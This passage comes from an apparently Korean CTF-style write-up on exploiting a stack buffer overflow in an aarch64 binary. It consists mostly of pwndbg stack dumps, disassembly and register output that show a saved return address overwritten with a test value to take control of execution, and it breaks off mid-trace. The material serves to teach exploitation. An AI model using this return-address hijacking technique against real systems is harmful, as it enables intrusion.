</span></span><span class="line"><span class="cl"><span class="mo">04</span><span class="o">:</span><span class="mo">0020</span><span class="err">│</span> <span class="n">x7</span>     <span class="mh">0x4000008004b0</span> <span class="err">—▸</span> <span class="mh">0x400000800400</span> <span class="err">◂—</span> <span class="mh">0xffffffffff00ff00</span>
</span></span><span class="line"><span class="cl"><span class="mo">05</span><span class="o">:</span><span class="mo">002</span><span class="mi">8</span><span class="err">│</span>        <span class="mh">0x4000008004b8</span> <span class="err">—▸</span> <span class="mh">0x4008e8</span> <span class="p">(</span><span class="n">__libc_start_call_main</span><span class="o">+</span><span class="mi">88</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">bl</span> <span class="n">exit</span>
</span></span><span class="line"><span class="cl"><span class="mo">06</span><span class="o">:</span><span class="mo">0030</span><span class="err">│</span>        <span class="mh">0x4000008004c0</span> <span class="err">—▸</span> <span class="mh">0x4000008005d0</span> <span class="err">◂—</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl"><span class="mo">07</span><span class="o">:</span><span class="mo">003</span><span class="mi">8</span><span class="err">│</span>        <span class="mh">0x4000008004c8</span> <span class="err">—▸</span> <span class="mh">0x400c8c</span> <span class="p">(</span><span class="n">__libc_start_main_impl</span><span class="o">+</span><span class="mi">872</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">bl</span> <span class="n">__libc_check_standard_fds</span> <span class="cm">/* &#39;5&#39; */</span>
</span></span><span class="line"><span class="cl"><span class="err">─────────────────────────────────────────────</span><span class="p">[</span> <span class="n">BACKTRACE</span> <span class="p">]</span><span class="err">─────────────────────────────────────────────</span>
</span></span><span class="line"><span class="cl"> <span class="err">►</span> <span class="mi">0</span>         <span class="mh">0x4007cc</span> <span class="n">run</span><span class="o">+</span><span class="mi">40</span>
</span></span><span class="line"><span class="cl">   <span class="mi">1</span>         <span class="mh">0x400834</span> <span class="n">main</span><span class="o">+</span><span class="mi">96</span>
</span></span><span class="line"><span class="cl">   <span class="mi">2</span>         <span class="mh">0x4008e8</span> <span class="n">__libc_start_call_main</span><span class="o">+</span><span class="mi">88</span>
</span></span><span class="line"><span class="cl">   <span class="mi">3</span>         <span class="mh">0x400c8c</span> <span class="n">__libc_start_main_impl</span><span class="o">+</span><span class="mi">872</span>
</span></span><span class="line"><span class="cl">   <span class="mi">4</span>         <span class="mh">0x400670</span> <span class="n">_start</span><span class="o">+</span><span class="mi">48</span>
</span></span><span class="line"><span class="cl"><span class="err">───────────────────────────────────────────────────────────────────────────────────────────────────────</span>
</span></span></code></pre></div><p>이후 입력한 값이 위치한 스택의 -0x10 위치를 찍어 내용을 살펴보자.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="n">pwndbg</span><span class="o">&gt;</span> <span class="n">x</span><span class="o">/</span><span class="mi">32</span><span class="n">gx</span> <span class="mh">0x4000008004a0</span><span class="o">-</span><span class="mh">0x10</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x400000800490</span><span class="o">:</span> <span class="mh">0x00004000008004b0</span>      <span class="mh">0x0000000000400834</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x4000008004a0</span><span class="o">:</span> <span class="mh">0x6161616161616161</span>      <span class="mh">0x6161616161616161</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x4000008004b0</span><span class="o">:</span> <span class="mh">0x0000400000800400</span>      <span class="mh">0x00000000004008e8</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x4000008004c0</span><span class="o">:</span> <span class="mh">0x00004000008005d0</span>      <span class="mh">0x0000000000400c8c</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x4000008004d0</span><span class="o">:</span> <span class="mh">0x0000000000000000</span>      <span class="mh">0x0000000000400674</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x4000008004e0</span><span class="o">:</span> <span class="mh">0x0000000100000000</span>      <span class="mh">0x0000400000800668</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x4000008004f0</span><span class="o">:</span> <span class="mh">0x0000000000000001</span>      <span class="mh">0x0000400000800668</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x400000800500</span><span class="o">:</span> <span class="mh">0x0000000000000002</span>      <span class="mh">0x0000400000800678</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x400000800510</span><span class="o">:</span> <span class="mh">0x000000000049c2b0</span>      <span class="mh">0x0000000000000002</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x400000800520</span><span class="o">:</span> <span class="mh">0x0000000000000018</span>      <span class="mh">0x00000000004a6000</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x400000800530</span><span class="o">:</span> <span class="mh">0x00000000004a0020</span>      <span class="mh">0x0000000000400250</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x400000800540</span><span class="o">:</span> <span class="mh">0x00004000008004c0</span>      <span class="mh">0x7eda91b1c1986a52</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x400000800550</span><span class="o">:</span> <span class="mh">0x0000000000000001</span>      <span class="mh">0x7edad1b1c158663e</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x400000800560</span><span class="o">:</span> <span class="mh">0x0000000000000000</span>      <span class="mh">0x0000000000000000</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x400000800570</span><span class="o">:</span> <span class="mh">0x0000000000000000</span>      <span class="mh">0x0000000000000000</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x400000800580</span><span class="o">:</span> <span class="mh">0x0000000000000000</span>      <span class="mh">0x0000000000000000</span>
</span></span></code></pre></div><p>위 내용을 직접 분석하면 aarch64 아키텍쳐의 독특한 점을 확인할 수 있다. <code>0x400000800498</code> 지점의 <code>0x0000000000400834</code> 값은 run() 함수가 동작 후 리턴 하여 main으로 돌아갈 위치다. 그럼 입력한 값 뒤에 있는 <code>0x4000008004b0</code> 에 위치한 <code>0x00000000004008e8</code> 위치는 __libc_start_call_main이다. main함수가 끝난 뒤 return될 지점이다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="n">pwndbg</span><span class="o">&gt;</span> <span class="n">disass</span> <span class="mh">0x00000000004008e8</span>
</span></span><span class="line"><span class="cl"><span class="n">Dump</span> <span class="n">of</span> <span class="n">assembler</span> <span class="n">code</span> <span class="k">for</span> <span class="n">function</span> <span class="nl">__libc_start_call_main</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000000000400890</span> <span class="o">&lt;+</span><span class="mi">0</span><span class="o">&gt;:</span>     <span class="n">stp</span>     <span class="n">x29</span><span class="p">,</span> <span class="n">x30</span><span class="p">,</span> <span class="p">[</span><span class="n">sp</span><span class="p">,</span> <span class="err">#</span><span class="o">-</span><span class="mi">272</span><span class="p">]</span><span class="o">!</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000000000400894</span> <span class="o">&lt;+</span><span class="mi">4</span><span class="o">&gt;:</span>     <span class="n">mov</span>     <span class="n">x29</span><span class="p">,</span> <span class="n">sp</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000000000400898</span> <span class="o">&lt;+</span><span class="mi">8</span><span class="o">&gt;:</span>     <span class="n">str</span>     <span class="n">x0</span><span class="p">,</span> <span class="p">[</span><span class="n">sp</span><span class="p">,</span> <span class="err">#</span><span class="mi">24</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000040089c</span> <span class="o">&lt;+</span><span class="mi">12</span><span class="o">&gt;:</span>    <span class="n">add</span>     <span class="n">x0</span><span class="p">,</span> <span class="n">sp</span><span class="p">,</span> <span class="err">#</span><span class="mh">0x30</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00000000004008a0</span> <span class="o">&lt;+</span><span class="mi">16</span><span class="o">&gt;:</span>    <span class="n">str</span>     <span class="n">w1</span><span class="p">,</span> <span class="p">[</span><span class="n">sp</span><span class="p">,</span> <span class="err">#</span><span class="mi">36</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00000000004008a4</span> <span class="o">&lt;+</span><span class="mi">20</span><span class="o">&gt;:</span>    <span class="n">str</span>     <span class="n">x2</span><span class="p">,</span> <span class="p">[</span><span class="n">sp</span><span class="p">,</span> <span class="err">#</span><span class="mi">40</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00000000004008a8</span> <span class="o">&lt;+</span><span class="mi">24</span><span class="o">&gt;:</span>    <span class="n">bl</span>      <span class="mh">0x401080</span> <span class="o">&lt;</span><span class="n">_setjmp</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00000000004008ac</span> <span class="o">&lt;+</span><span class="mi">28</span><span class="o">&gt;:</span>    <span class="n">cbnz</span>    <span class="n">w0</span><span class="p">,</span> <span class="mh">0x4008ec</span> <span class="o">&lt;</span><span class="n">__libc_start_call_main</span><span class="o">+</span><span class="mi">92</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00000000004008b0</span> <span class="o">&lt;+</span><span class="mi">32</span><span class="o">&gt;:</span>    <span class="n">mrs</span>     <span class="n">x0</span><span class="p">,</span> <span class="n">tpidr_el0</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00000000004008b4</span> <span class="o">&lt;+</span><span class="mi">36</span><span class="o">&gt;:</span>    <span class="n">adrp</span>    <span class="n">x1</span><span class="p">,</span> <span class="mh">0x4a6000</span> <span class="o">&lt;</span><span class="n">__pthread_keys</span><span class="o">+</span><span class="mi">14384</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00000000004008b8</span> <span class="o">&lt;+</span><span class="mi">40</span><span class="o">&gt;:</span>    <span class="n">sub</span>     <span class="n">x3</span><span class="p">,</span> <span class="n">x0</span><span class="p">,</span> <span class="err">#</span><span class="mh">0x600</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00000000004008bc</span> <span class="o">&lt;+</span><span class="mi">44</span><span class="o">&gt;:</span>    <span class="n">sub</span>     <span class="n">x0</span><span class="p">,</span> <span class="n">x0</span><span class="p">,</span> <span class="err">#</span><span class="mh">0x740</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00000000004008c0</span> <span class="o">&lt;+</span><span class="mi">48</span><span class="o">&gt;:</span>    <span class="n">ldr</span>     <span class="n">x2</span><span class="p">,</span> <span class="p">[</span><span class="n">x1</span><span class="p">,</span> <span class="err">#</span><span class="mi">2096</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00000000004008c4</span> <span class="o">&lt;+</span><span class="mi">52</span><span class="o">&gt;:</span>    <span class="n">add</span>     <span class="n">x1</span><span class="p">,</span> <span class="n">sp</span><span class="p">,</span> <span class="err">#</span><span class="mh">0x30</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00000000004008c8</span> <span class="o">&lt;+</span><span class="mi">56</span><span class="o">&gt;:</span>    <span class="n">ldur</span>    <span class="n">q0</span><span class="p">,</span> <span class="p">[</span><span class="n">x3</span><span class="p">,</span> <span class="err">#</span><span class="o">-</span><span class="mi">72</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00000000004008cc</span> <span class="o">&lt;+</span><span class="mi">60</span><span class="o">&gt;:</span>    <span class="n">str</span>     <span class="n">x1</span><span class="p">,</span> <span class="p">[</span><span class="n">x0</span><span class="p">,</span> <span class="err">#</span><span class="mi">256</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00000000004008d0</span> <span class="o">&lt;+</span><span class="mi">64</span><span class="o">&gt;:</span>    <span class="n">ldr</span>     <span class="n">x3</span><span class="p">,</span> <span class="p">[</span><span class="n">sp</span><span class="p">,</span> <span class="err">#</span><span class="mi">24</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00000000004008d4</span> <span class="o">&lt;+</span><span class="mi">68</span><span class="o">&gt;:</span>    <span class="n">ldr</span>     <span class="n">x1</span><span class="p">,</span> <span class="p">[</span><span class="n">sp</span><span class="p">,</span> <span class="err">#</span><span class="mi">40</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00000000004008d8</span> <span class="o">&lt;+</span><span class="mi">72</span><span class="o">&gt;:</span>    <span class="n">ext</span>     <span class="n">v0</span><span class="mf">.16</span><span class="n">b</span><span class="p">,</span> <span class="n">v0</span><span class="mf">.16</span><span class="n">b</span><span class="p">,</span> <span class="n">v0</span><span class="mf">.16</span><span class="n">b</span><span class="p">,</span> <span class="err">#</span><span class="mi">8</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00000000004008dc</span> <span class="o">&lt;+</span><span class="mi">76</span><span class="o">&gt;:</span>    <span class="n">ldr</span>     <span class="n">w0</span><span class="p">,</span> <span class="p">[</span><span class="n">sp</span><span class="p">,</span> <span class="err">#</span><span class="mi">36</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00000000004008e0</span> <span class="o">&lt;+</span><span class="mi">80</span><span class="o">&gt;:</span>    <span class="n">stur</span>    <span class="n">q0</span><span class="p">,</span> <span class="p">[</span><span class="n">sp</span><span class="p">,</span> <span class="err">#</span><span class="mi">232</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00000000004008e4</span> <span class="o">&lt;+</span><span class="mi">84</span><span class="o">&gt;:</span>    <span class="n">blr</span>     <span class="n">x3</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00000000004008e8</span> <span class="o">&lt;+</span><span class="mi">88</span><span class="o">&gt;:</span>    <span class="n">bl</span>      <span class="mh">0x401610</span> <span class="o">&lt;</span><span class="n">exit</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00000000004008ec</span> <span class="o">&lt;+</span><span class="mi">92</span><span class="o">&gt;:</span>    <span class="n">bl</span>      <span class="mh">0x40fbd0</span> <span class="o">&lt;</span><span class="n">__nptl_deallocate_tsd</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00000000004008f0</span> <span class="o">&lt;+</span><span class="mi">96</span><span class="o">&gt;:</span>    <span class="n">adrp</span>    <span class="n">x1</span><span class="p">,</span> <span class="mh">0x4a0000</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00000000004008f4</span> <span class="o">&lt;+</span><span class="mi">100</span><span class="o">&gt;:</span>   <span class="n">mov</span>     <span class="n">w0</span><span class="p">,</span> <span class="err">#</span><span class="mh">0xffffffff</span>                 <span class="c1">// #-1
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>   <span class="mh">0x00000000004008f8</span> <span class="o">&lt;+</span><span class="mi">104</span><span class="o">&gt;:</span>   <span class="n">add</span>     <span class="n">x1</span><span class="p">,</span> <span class="n">x1</span><span class="p">,</span> <span class="err">#</span><span class="mh">0x5c8</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00000000004008fc</span> <span class="o">&lt;+</span><span class="mi">108</span><span class="o">&gt;:</span>   <span class="n">bl</span>      <span class="mh">0x45ef30</span> <span class="o">&lt;</span><span class="n">__aarch64_ldadd4_relax</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000000000400900</span> <span class="o">&lt;+</span><span class="mi">112</span><span class="o">&gt;:</span>   <span class="n">cmp</span>     <span class="n">w0</span><span class="p">,</span> <span class="err">#</span><span class="mh">0x1</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000000000400904</span> <span class="o">&lt;+</span><span class="mi">116</span><span class="o">&gt;:</span>   <span class="n">b</span><span class="p">.</span><span class="n">eq</span>    <span class="mh">0x40091c</span> <span class="o">&lt;</span><span class="n">__libc_start_call_main</span><span class="o">+</span><span class="mi">140</span><span class="o">&gt;</span>  <span class="c1">// b.none
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>   <span class="mh">0x0000000000400908</span> <span class="o">&lt;+</span><span class="mi">120</span><span class="o">&gt;:</span>   <span class="n">mov</span>     <span class="n">x8</span><span class="p">,</span> <span class="err">#</span><span class="mh">0x5d</span>                       <span class="c1">// #93
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>   <span class="mh">0x000000000040090c</span> <span class="o">&lt;+</span><span class="mi">124</span><span class="o">&gt;:</span>   <span class="n">nop</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000000000400910</span> <span class="o">&lt;+</span><span class="mi">128</span><span class="o">&gt;:</span>   <span class="n">mov</span>     <span class="n">x0</span><span class="p">,</span> <span class="err">#</span><span class="mh">0x0</span>                        <span class="c1">// #0
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>   <span class="mh">0x0000000000400914</span> <span class="o">&lt;+</span><span class="mi">132</span><span class="o">&gt;:</span>   <span class="n">svc</span>     <span class="err">#</span><span class="mh">0x0</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000000000400918</span> <span class="o">&lt;+</span><span class="mi">136</span><span class="o">&gt;:</span>   <span class="n">b</span>       <span class="mh">0x400910</span> <span class="o">&lt;</span><span class="n">__libc_start_call_main</span><span class="o">+</span><span class="mi">128</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000040091c</span> <span class="o">&lt;+</span><span class="mi">140</span><span class="o">&gt;:</span>   <span class="n">mov</span>     <span class="n">w0</span><span class="p">,</span> <span class="err">#</span><span class="mh">0x0</span>                        <span class="c1">// #0
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>   <span class="mh">0x0000000000400920</span> <span class="o">&lt;+</span><span class="mi">144</span><span class="o">&gt;:</span>   <span class="n">bl</span>      <span class="mh">0x401610</span> <span class="o">&lt;</span><span class="n">exit</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl"><span class="n">End</span> <span class="n">of</span> <span class="n">assembler</span> <span class="n">dump</span><span class="p">.</span>
</span></span></code></pre></div><p>입력하고자 하는 위치 뒤에 있는 스택 값은 지금 상황에서 덮어 씌울 방법이 없다. 그러면 가장 가까운 <code>0x00000000004008e8</code> 값을 조작하고 main이 끝난 뒤 원하는 곳으로 점프할 수 있는지 확인하자. return주소를 <code>0x6363636363636363</code>으로 overwrite하고 main의 return까지 진행시켜 해당 위치로 이동하는지 확인한다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="n">pwndbg</span><span class="o">&gt;</span> <span class="n">x</span><span class="o">/</span><span class="mi">32</span><span class="n">gx</span> <span class="mh">0x4000008004a0</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x4000008004a0</span><span class="o">:</span> <span class="mh">0x6161616161616161</span>      <span class="mh">0x6161616161616161</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x4000008004b0</span><span class="o">:</span> <span class="mh">0x6262626262626262</span>      <span class="mh">0x6363636363636363</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x4000008004c0</span><span class="o">:</span> <span class="mh">0x0000400000800500</span>      <span class="mh">0x0000000000400c8c</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x4000008004d0</span><span class="o">:</span> <span class="mh">0x0000000000000000</span>      <span class="mh">0x0000000000400674</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x4000008004e0</span><span class="o">:</span> <span class="mh">0x0000000100000000</span>      <span class="mh">0x0000400000800668</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x4000008004f0</span><span class="o">:</span> <span class="mh">0x0000000000000001</span>      <span class="mh">0x0000400000800668</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x400000800500</span><span class="o">:</span> <span class="mh">0x0000000000000002</span>      <span class="mh">0x0000400000800678</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x400000800510</span><span class="o">:</span> <span class="mh">0x000000000049c2b0</span>      <span class="mh">0x0000000000000002</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x400000800520</span><span class="o">:</span> <span class="mh">0x0000000000000018</span>      <span class="mh">0x00000000004a6000</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x400000800530</span><span class="o">:</span> <span class="mh">0x00000000004a0020</span>      <span class="mh">0x0000000000400250</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x400000800540</span><span class="o">:</span> <span class="mh">0x00004000008004c0</span>      <span class="mh">0xb368fbd897096349</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x400000800550</span><span class="o">:</span> <span class="mh">0x0000000000000001</span>      <span class="mh">0xb368bbd897c96f25</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x400000800560</span><span class="o">:</span> <span class="mh">0x0000000000000000</span>      <span class="mh">0x0000000000000000</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x400000800570</span><span class="o">:</span> <span class="mh">0x0000000000000000</span>      <span class="mh">0x0000000000000000</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x400000800580</span><span class="o">:</span> <span class="mh">0x0000000000000000</span>      <span class="mh">0x0000000000000000</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x400000800590</span><span class="o">:</span> <span class="mh">0x0000000000000000</span>      <span class="mh">0x0000000000000000</span> 
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="n">pwndbg</span><span class="o">&gt;</span> 
</span></span><span class="line"><span class="cl"><span class="mh">0x000000000040083c</span> <span class="n">in</span> <span class="n">main</span> <span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="nl">LEGEND</span><span class="p">:</span> <span class="n">STACK</span> <span class="o">|</span> <span class="n">HEAP</span> <span class="o">|</span> <span class="n">CODE</span> <span class="o">|</span> <span class="n">DATA</span> <span class="o">|</span> <span class="n">WX</span> <span class="o">|</span> <span class="n">RODATA</span>
</span></span><span class="line"><span class="cl"><span class="err">────────────────────────</span><span class="p">[</span> <span class="n">REGISTERS</span> <span class="o">/</span> <span class="n">show</span><span class="o">-</span><span class="n">flags</span> <span class="n">off</span> <span class="o">/</span> <span class="n">show</span><span class="o">-</span><span class="n">compact</span><span class="o">-</span><span class="n">regs</span> <span class="n">off</span> <span class="p">]</span><span class="err">─────────────────────────</span>
</span></span><span class="line"><span class="cl"> <span class="n">X0</span>   <span class="mi">0</span>
</span></span><span class="line"><span class="cl"> <span class="n">X1</span>   <span class="mh">0x49dd50</span> <span class="p">(</span><span class="n">__stack_chk_guard</span><span class="p">)</span> <span class="err">◂—</span> <span class="mh">0x1c8bb25695de4f00</span>
</span></span><span class="line"><span class="cl"> <span class="n">X2</span>   <span class="mi">0</span>
</span></span><span class="line"><span class="cl"> <span class="n">X3</span>   <span class="mi">0</span>
</span></span><span class="line"><span class="cl"> <span class="n">X4</span>   <span class="mh">0x28</span>
</span></span><span class="line"><span class="cl"> <span class="n">X5</span>   <span class="mh">0x18</span>
</span></span><span class="line"><span class="cl"> <span class="n">X6</span>   <span class="mi">0</span>
</span></span><span class="line"><span class="cl"> <span class="n">X7</span>   <span class="mh">0x4000008004c0</span> <span class="err">—▸</span> <span class="mh">0x400000800500</span> <span class="err">◂—</span> <span class="mi">2</span>
</span></span><span class="line"><span class="cl"> <span class="n">X8</span>   <span class="mh">0x3f</span>
</span></span><span class="line"><span class="cl"> <span class="n">X9</span>   <span class="mi">0</span>
</span></span><span class="line"><span class="cl"> <span class="n">X10</span>  <span class="mi">0</span>
</span></span><span class="line"><span class="cl"> <span class="n">X11</span>  <span class="mi">0</span>
</span></span><span class="line"><span class="cl"> <span class="n">X12</span>  <span class="mh">0xffffffc8</span>
</span></span><span class="line"><span class="cl"> <span class="n">X13</span>  <span class="mh">0x400000800450</span> <span class="err">◂—</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl"> <span class="n">X14</span>  <span class="mh">0x3a30</span>
</span></span><span class="line"><span class="cl"> <span class="n">X15</span>  <span class="mh">0x4a03e8</span> <span class="p">(</span><span class="n">_IO_2_1_stdin_</span><span class="p">)</span> <span class="err">◂—</span> <span class="mh">0xfbad208b</span>
</span></span><span class="line"><span class="cl"> <span class="n">X16</span>  <span class="mh">0x40d8a4</span> <span class="p">(</span><span class="n">_IO_default_uflow</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">stp</span> <span class="n">x29</span><span class="p">,</span> <span class="n">x30</span><span class="p">,</span> <span class="p">[</span><span class="n">sp</span><span class="p">,</span> <span class="err">#</span><span class="o">-</span><span class="mh">0x20</span><span class="p">]</span><span class="o">!</span>
</span></span><span class="line"><span class="cl"> <span class="n">X17</span>  <span class="mh">0x417b80</span> <span class="p">(</span><span class="n">__memcpy_mops</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">nop</span> 
</span></span><span class="line"><span class="cl"> <span class="n">X18</span>  <span class="mh">0x4a1830</span> <span class="p">(</span><span class="n">_nl_global_locale</span><span class="p">)</span> <span class="err">—▸</span> <span class="mh">0x49cc60</span> <span class="p">(</span><span class="n">_nl_C_LC_CTYPE</span><span class="p">)</span> <span class="err">—▸</span> <span class="mh">0x4698b0</span> <span class="p">(</span><span class="n">_nl_C_name</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">udf</span> <span class="err">#</span><span class="mh">0x43</span> <span class="cm">/* &#39;C&#39; */</span>
</span></span><span class="line"><span class="cl"> <span class="n">X19</span>  <span class="mi">1</span>
</span></span><span class="line"><span class="cl"> <span class="n">X20</span>  <span class="mh">0x400000800668</span> <span class="err">—▸</span> <span class="mh">0x400000800824</span> <span class="err">◂—</span> <span class="mh">0x534f4800626f7270</span> <span class="cm">/* &#39;prob&#39; */</span>
</span></span><span class="line"><span class="cl"> <span class="n">X21</span>  <span class="mi">2</span>
</span></span><span class="line"><span class="cl"> <span class="n">X22</span>  <span class="mh">0x400000800678</span> <span class="err">—▸</span> <span class="mh">0x400000800829</span> <span class="err">◂—</span> <span class="err">&#39;</span><span class="n">HOSTNAME</span><span class="o">=</span><span class="n">f767549ec4e5</span><span class="err">&#39;</span>
</span></span><span class="line"><span class="cl"> <span class="n">X23</span>  <span class="mh">0x49c2b0</span> <span class="p">(</span><span class="n">__preinit_array_start</span><span class="p">)</span> <span class="err">—▸</span> <span class="mh">0x4005e0</span> <span class="p">(</span><span class="n">init_have_lse_atomics</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">stp</span> <span class="n">x29</span><span class="p">,</span> <span class="n">x30</span><span class="p">,</span> <span class="p">[</span><span class="n">sp</span><span class="p">,</span> <span class="err">#</span><span class="o">-</span><span class="mh">0x10</span><span class="p">]</span><span class="o">!</span>
</span></span><span class="line"><span class="cl"> <span class="n">X24</span>  <span class="mi">2</span>
</span></span><span class="line"><span class="cl"> <span class="n">X25</span>  <span class="mh">0x18</span>
</span></span><span class="line"><span class="cl"> <span class="n">X26</span>  <span class="mh">0x4a6000</span> <span class="p">(</span><span class="n">__pthread_keys</span><span class="o">+</span><span class="mi">14384</span><span class="p">)</span> <span class="err">◂—</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl"> <span class="n">X27</span>  <span class="mh">0x4a0020</span> <span class="err">—▸</span> <span class="mh">0x419040</span> <span class="p">(</span><span class="n">__strlen_generic</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">nop</span> 
</span></span><span class="line"><span class="cl"> <span class="n">X28</span>  <span class="mh">0x400250</span> <span class="p">(</span><span class="n">_init</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">nop</span> 
</span></span><span class="line"><span class="cl"><span class="o">*</span><span class="n">X29</span>  <span class="mh">0x6262626262626262</span> <span class="p">(</span><span class="err">&#39;</span><span class="n">bbbbbbbb</span><span class="err">&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="o">*</span><span class="n">SP</span>   <span class="mh">0x4000008004c0</span> <span class="err">—▸</span> <span class="mh">0x400000800500</span> <span class="err">◂—</span> <span class="mi">2</span>
</span></span><span class="line"><span class="cl"> <span class="n">LR</span>   <span class="mh">0x6363636363636363</span> <span class="p">(</span><span class="err">&#39;</span><span class="n">cccccccc</span><span class="err">&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="o">*</span><span class="n">PC</span>   <span class="mh">0x40083c</span> <span class="p">(</span><span class="n">main</span><span class="o">+</span><span class="mi">104</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">ret</span> 
</span></span><span class="line"><span class="cl"><span class="err">─────────────────────────────────</span><span class="p">[</span> <span class="n">DISASM</span> <span class="o">/</span> <span class="n">aarch64</span> <span class="o">/</span> <span class="n">set</span> <span class="n">emulate</span> <span class="n">on</span> <span class="p">]</span><span class="err">─────────────────────────────────</span>
</span></span><span class="line"><span class="cl"><span class="n">b</span><span class="o">+</span> <span class="mh">0x4007cc</span> <span class="o">&lt;</span><span class="n">run</span><span class="o">+</span><span class="mi">40</span><span class="o">&gt;</span>      <span class="n">ldp</span>    <span class="n">x29</span><span class="p">,</span> <span class="n">x30</span><span class="p">,</span> <span class="p">[</span><span class="n">sp</span><span class="p">],</span> <span class="err">#</span><span class="mh">0x20</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x4007d0</span> <span class="o">&lt;</span><span class="n">run</span><span class="o">+</span><span class="mi">44</span><span class="o">&gt;</span>    <span class="err">✔</span> <span class="n">ret</span>                                <span class="o">&lt;</span><span class="n">main</span><span class="o">+</span><span class="mi">96</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="err">↓</span>
